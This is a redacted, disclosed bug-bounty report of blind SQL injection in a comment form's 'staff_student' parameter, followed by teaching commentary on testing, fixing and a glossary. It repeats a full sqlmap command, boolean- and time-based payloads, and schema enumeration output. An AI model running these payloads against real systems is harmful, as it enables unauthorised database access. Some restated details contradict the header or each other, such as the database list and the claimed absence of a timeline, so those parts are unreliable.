SQL injection at [https://█████████] [HtUS]
- Triaged in 7 hours
- Fixed in 2 months
- Paid in 23 hours
- Disclosed after 2 months
Hello,
##Summary
while doing test on www.███ I’ve found that the endpoint at /olc/███comments/comment_post.php is vulnerable with SQL injection vulnerability
##Vulnerable parameters
- staff_student
##POC
- using sqlmap run command
python3 sqlmap.py --level=5 --risk=3 --tamper=space2comment --random-agent -u "https://███████" --data="staff_student=STUDENT&scn=xxx&check25=0&check20=0&check20=1&check26=0&check27=0&check29=0&check24=0&comments=xx&Submit=Submit+Comments" -p staff_student --dbms=mysql
- we can see that the target parameter is vulnerable
POST parameter 'staff_student' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 103 HTTP(s) requests:
---
Parameter: staff_student (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: staff_student=STUDENT'||(SELECT 0x6545736f FROM DUAL WHERE 6919=6919 AND 4128=4128)||'&scn=xxx&check25=0&check20=0&check20=1&check26=0&check27=0&check29=0&check24=0&comments=xx&Submit=Submit Comments
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: staff_student=STUDENT'||(SELECT 0x615a636e FROM DUAL WHERE 7192=7192 AND (SELECT 4865 FROM (SELECT(SLEEP(5)))VDbe))||'&scn=xxx&check25=0&check20=0&check20=1&check26=0&check27=0&check29=0&check24=0&comments=xx&Submit=Submit Comments
- add
--dbswe can see the sqlmap will start get the DBS
available databases [13]:
[] █████████
[] ██████mobile
[] GET
[] information_schema
[] LEAM
[] leat
[] LEV
[] mysql
[] performance_schema
[] SET
[] test
[] testadmin
[*] testusers
Impact
attacker is able to get the database
What the report shows
The researcher tested the host www.███ and found that the endpoint /olc/███comments/comment_post.php was vulnerable to SQL injection. The vulnerable parameter named in the report is staff_student, which is submitted in a POST body alongside a set of checkbox-style fields (scn, check25, check20, check26, check27, check29, check24), a comments field and a Submit button value.
The finding was produced with sqlmap. The command used was:
python3 sqlmap.py --level=5 --risk=3 --tamper=space2comment --random-agent -u "https://███████" --data="staff_student=STUDENT&scn=xxx&check25=0&check20=0&check20=1&check26=0&check27=0&check29=0&check24=0&comments=xx&Submit=Submit+Comments" -p staff_student --dbms=mysql
sqlmap confirmed the parameter and reported two injection points, a boolean-based blind and a time-based blind, both against MySQL:
POST parameter 'staff_student' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 103 HTTP(s) requests:
---
Parameter: staff_student (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: staff_student=STUDENT'||(SELECT 0x6545736f FROM DUAL WHERE 6919=6919 AND 4128=4128)||'&scn=xxx&check25=0&check20=0&check20=1&check26=0&check27=0&check29=0&check24=0&comments=xx&Submit=Submit Comments
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: staff_student=STUDENT'||(SELECT 0x615a636e FROM DUAL WHERE 7192=7192 AND (SELECT 4865 FROM (SELECT(SLEEP(5)))VDbe))||'&scn=xxx&check25=0&check20=0&check20=1&check26=0&check27=0&check29=0&check24=0&comments=xx&Submit=Submit Comments
Both payloads break out of the string with a single quote and then concatenate a subquery using the || operator. The command was run with the space2comment tamper.
Adding --dbs let sqlmap enumerate the schemas. The report lists thirteen databases, with the names of several redacted:
available databases [13]:
[] █████████
[] ██████mobile
[] GET
[] information_schema
[] LEAM
[] leat
[] LEV
[] mysql
[] performance_schema
[] SET
[] test
[] testadmin
[*] testusers
The report states the impact plainly: an attacker is able to get the database. It does not describe a fix, a bounty amount or a timeline, and the platform records the severity as critical.
Root cause
Impact
The report's own conclusion is that an attacker can read the database. The enumeration output shows that the account used by the application can list schemas, including information_schema, mysql and performance_schema, plus several application schemas. The report states only that an attacker is able to get the database. The report does not demonstrate data extraction beyond schema names, so the practical exposure beyond enumeration is not shown.
How this kind of bug works
SQL injection happens when untrusted input becomes part of a query's structure rather than its data. If a developer writes a query by joining strings, any quote, operator or comment sequence in the input can change what the database parses. Blind variants, as here, are used when the response does not echo query results: boolean-based injection asks true/false questions and watches for a difference in the page, while time-based injection asks the database to sleep and measures the delay. Both are slower than union-based injection but work when nothing is reflected.
The standard defence is parameterised queries (prepared statements) for every query, with input never concatenated into SQL. Where dynamic identifiers are unavoidable, they should be validated against an allowlist. Least-privilege database accounts limit what a successful injection can reach, and a web application firewall can raise the cost of exploitation but is not a fix.
How to test for it
- Map every parameter that reaches the database: query strings, POST bodies, cookies, and JSON or XML fields. Form handlers such as comment, search, login and filter endpoints are common candidates.
- Send a single quote or a syntax-breaking character in one parameter at a time and compare the response with a baseline: a database error, a changed page, or a different status code is a signal.
- For blind cases, use paired requests: one with a condition that should be true and one that should be false, and compare response length, content or timing. A consistent difference in only one direction is a positive result.
- For time-based checks, inject a deliberate delay and confirm it repeats reliably, then confirm that a false condition does not delay.
- Automate with a tool such as sqlmap once a candidate is found, restricting it to the parameter in question and using a tamper only when filtering is observed.
Common false positives include generic error pages that appear for any malformed input, caching or load-balancer differences that change response size, and timing noise from slow backends. Repeat each test several times and use a control request before concluding.
How it is fixed
Replace string-built queries with prepared statements and bound parameters. Validate and type-check input at the boundary, and reject values that do not match the expected format. Run the application with a database account that has only the privileges it needs, and remove verbose database errors from responses. Add regression tests that send quote characters and confirm they are treated as data.
Hunting notes
Injection tends to hide in older code paths: comment and feedback forms, search and sort parameters, report exports, and endpoints that take an identifier and pass it straight to a query. Recon signals include parameters with numeric or coded names, endpoints that return different content lengths for similar requests, and applications running on legacy stacks. To make a report land, show a reproducible request and response pair, demonstrate a concrete consequence such as schema or table enumeration, and state clearly what data was and was not accessed. Keep testing scoped to the program's rules and avoid extracting real user data beyond what is needed to prove the issue.
What happened, in plain words
A security researcher was testing a website, www.███, and found a serious flaw in one of its forms. The endpoint that handles it is /olc/███comments/comment_post.php. The flaw is called SQL injection: it lets an attacker slip database commands into a form field so that the database runs them. The field in question is called staff_student.
To understand the risk, think of a database as a filing cabinet that the website uses to store and look up information. The website asks the database questions in a language called SQL. Normally the website builds each question from a fixed template plus the values a user typed. If the user's value is inserted without care, the user can add extra SQL of their own, and the database cannot tell the difference between the template and the user's addition. That is SQL injection.
The researcher used a tool called sqlmap, which automates the process of finding and confirming SQL injection. The command was:
python3 sqlmap.py --level=5 --risk=3 --tamper=space2comment --random-agent -u "https://███████" --data="staff_student=STUDENT&scn=xxx&check25=0&check20=0&check20=1&check26=0&check27=0&check29=0&check24=0&comments=xx&Submit=Submit+Comments" -p staff_student --dbms=mysql
Line by line: python3 sqlmap.py runs the tool. --level=5 --risk=3 tells it to try harder and use riskier tests. --tamper=space2comment changes the payload so that spaces become SQL comments. --random-agent makes requests use a randomly chosen User-Agent header. -u is the target URL. --data is the body of a POST request, the kind a browser sends when you submit a form; it contains the field staff_student set to STUDENT, several checkbox-style fields, a comments field and a Submit value. -p staff_student tells sqlmap to test only that field. --dbms=mysql says the database is MySQL, so sqlmap can tailor its tests.
sqlmap confirmed the field was vulnerable and found two ways to exploit it:
POST parameter 'staff_student' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 103 HTTP(s) requests:
---
Parameter: staff_student (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: staff_student=STUDENT'||(SELECT 0x6545736f FROM DUAL WHERE 6919=6919 AND 4128=4128)||'&scn=xxx&check25=0&check20=0&check20=1&check26=0&check27=0&check29=0&check24=0&comments=xx&Submit=Submit Comments
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: staff_student=STUDENT'||(SELECT 0x615a636e FROM DUAL WHERE 7192=7192 AND (SELECT 4865 FROM (SELECT(SLEEP(5)))VDbe))||'&scn=xxx&check25=0&check20=0&check20=1&check26=0&check27=0&check29=0&check24=0&comments=xx&Submit=Submit Comments
The first payload is a boolean-based blind injection. The single quote after STUDENT closes the string the website expected. Then || joins a subquery that asks the database a true/false question. Because the page does not show query results, sqlmap watches for a difference in the page when the answer is true versus false. The second payload is time-based blind: it asks the database to SLEEP(5), pausing for five seconds. If the response is delayed, the injection worked. Both are called blind because the attacker cannot see the data directly; they infer it from behaviour.
With --dbs added, sqlmap listed the databases on the server:
available databases [13]:
[] █████████
[] ██████mobile
[] GET
[] information_schema
[] LEAM
[] leat
[] LEV
[] mysql
[] performance_schema
[] test
[] testadmin
[*] testusers
This shows the database account used by the website can see thirteen databases, including system ones like information_schema and mysql, and application ones. The report's impact statement is simple: an attacker is able to get the database. The report does not show any actual data being read beyond the database names, and it does not describe a fix or a bounty amount.
In general, how this kind of bug works and how to handle it
SQL injection happens when user input becomes part of the structure of a database query instead of just a value. A safe query uses placeholders, often called prepared statements or parameterised queries, so the database always treats user input as data. An unsafe query glues strings together, so a quote or operator in the input can change the query's meaning.
Blind injection is used when the page does not display query results. Boolean-based blind injection asks true/false questions and looks for a difference in the response. Time-based blind injection asks the database to wait and measures the delay. Both are slower than seeing results directly but work when nothing is reflected.
To test for it, start by listing every place user input reaches the database: URL parameters, form fields, cookies, and JSON or XML bodies. Send a single quote in one field at a time and compare the response with a normal request; a database error or a changed page is a signal. For blind cases, send paired requests, one that should be true and one that should be false, and compare length, content or timing. For time-based checks, inject a deliberate delay and confirm it repeats, and confirm a false condition does not delay. Once a candidate is found, a tool like sqlmap can automate confirmation, restricted to the field in question and using a tamper only if filtering is observed. Repeat tests to avoid false positives from generic error pages, caching or slow backends.
The fix is to use prepared statements with bound parameters for every query, validate input at the boundary, run the application with a least-privilege database account, and remove detailed database errors from responses. A web application firewall can raise the cost of exploitation but is not a fix.
Glossary
- SQL: Structured Query Language, the language used to ask a database to store or retrieve data.
- SQL injection: A flaw where user input changes the structure of a SQL query, letting an attacker run their own database commands.
- Endpoint: A specific URL or path on a website that handles a particular action, such as submitting a form.
- Parameter: A named value sent to a website, either in the URL or in the body of a request.
- POST request: An HTTP request that sends data in its body, typically used when submitting a form.
- Payload: The crafted input an attacker sends to exploit a vulnerability.
- sqlmap: A tool that automates the detection and exploitation of SQL injection.
- Tamper: A sqlmap option that modifies payloads to bypass filters, for example by replacing spaces with comments.
- Boolean-based blind injection: A technique that asks the database true/false questions and infers answers from differences in the page.
- Time-based blind injection: A technique that makes the database pause and infers success from response timing.
- Blind injection: Any injection where the attacker cannot see query results directly and must infer them from behaviour.
- Database schema: A named collection of tables and other objects within a database server.
- information_schema: A standard MySQL schema that describes the server's databases and tables.
- Least privilege: Giving an account only the permissions it needs to do its job.
- Prepared statement: A query template where values are supplied separately, so input is always treated as data.
- Web application firewall (WAF): A filter placed in front of a website that can block some malicious requests.